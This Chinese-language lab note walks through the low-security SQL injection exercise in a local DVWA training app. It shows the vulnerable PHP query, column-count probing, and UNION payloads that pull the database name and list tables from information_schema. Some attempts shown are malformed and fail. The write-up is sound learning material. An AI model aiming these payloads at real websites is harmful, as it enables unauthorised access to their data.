SQLi

原理:当应用程序未对用户输入进行充分的验证和清理时,攻击者可以通过构造特定的输入来操控 SQL 查询。

Low

UNION 是一个关键字,用于将多个 SELECT 查询的结果合并成一个结果集。它可以将两个或多个查询的结果横向合并,其中每个查询的结果需要有相同的列数,并且列的数据类型应该兼容。

1
"SELECT first_name, last_name FROM users WHERE user_id = '$id';";
1
2
3
4
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];}

mysqli_fetch_assoc 从结果集中获取一行数据,并以关联数组的形式返回,其中键是字段名,值是相应字段的值。

!从 $row 数组中获取键为 "first_name" 的值,并将其赋给变量 $first

step1:输入正常数值的界面

1
http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#

image-20250107164105089

前端代码

image-20250107164253969

可以猜测出内部的sql查询代码:

1
Select firstname,Surname from 数据库 where id='$id';

构造最简单的sql语句去验证上面的猜想

版本1:

1
1‘ union select database();-- 

image-20250107165124323

问题1:输入法错了

修改后再次尝试,

版本2:

1
1' union select database();-- 

问题2:

1
The used SELECT statements have a different number of columns

union查询和主查询的列数不匹配

在这个例子中,注入的查询必须与原始查询的列数相匹配(这个查询有 2 列)。如果攻击者尝试注入一个列数不同的查询,就会触发 “不同的列数” 错误。(上面)

修复此问题

  1. 确保列数匹配:如果你想进行有效的 UNION 注入,必须确保原始查询和注入查询的列数相同。可以通过使用 NULL 来匹配所需的列数。

  2. 发现列数:如果不确定原始查询的列数,可以通过逐步增加 NULL 值来进行测试,直到找到正确的列数:

    • ' UNION SELECT NULL --
    • ' UNION SELECT NULL, NULL --
    • ' UNION SELECT NULL, NULL, NULL --

    继续测试,直到查询没有报错,你可以获取额外的数据。

  3. 列类型与数据:确保注入的列与原始查询的列类型兼容(例如,文本字段、整数等)。

版本3:

1
1' union select 1,2;-- 

image-20250107170010814

说明上面猜测的内部sql语句大致正确

step2:尝试获取列名,数据表名,库名

库名

方法一:

1
1' union select database(),2;-- 

库名:dvwa

image-20250107170349584

方法2:报错型注入(通过报错获取信息)

1
1' union select firstname,password from qwe;-- 

image-20250107170604109

表名

1
1' UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_schema = 'dvwa' -- 
1
1' union select 1,password ;-- 

image-20250107170744337

列名不存在

attack

库:

?id=a' UNION SELECT database(),1;-- &Submit=Submit. (注意–后面有空格,否则会报错)

1' union select database();--

?id=1' UNION SELECT schema_name from information_schema.schemata,limit 0,2;-- &Submit=Submit

表:

?id=a' UNION SELECT ,1;-- &Submit=Submit.

问题1

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '--'' at line 1

知识补充:

1
2
3
4
5
6
<form action="#" method="GET">
<p>User ID:
<input type="text" size="15" name="id">
<input type="submit" name="Submit" value="Submit">
</p>
</form>

action="#":指定表单数据提交到哪里。# 符号表示数据不会被发送到任何地方,或者只是一个占位符。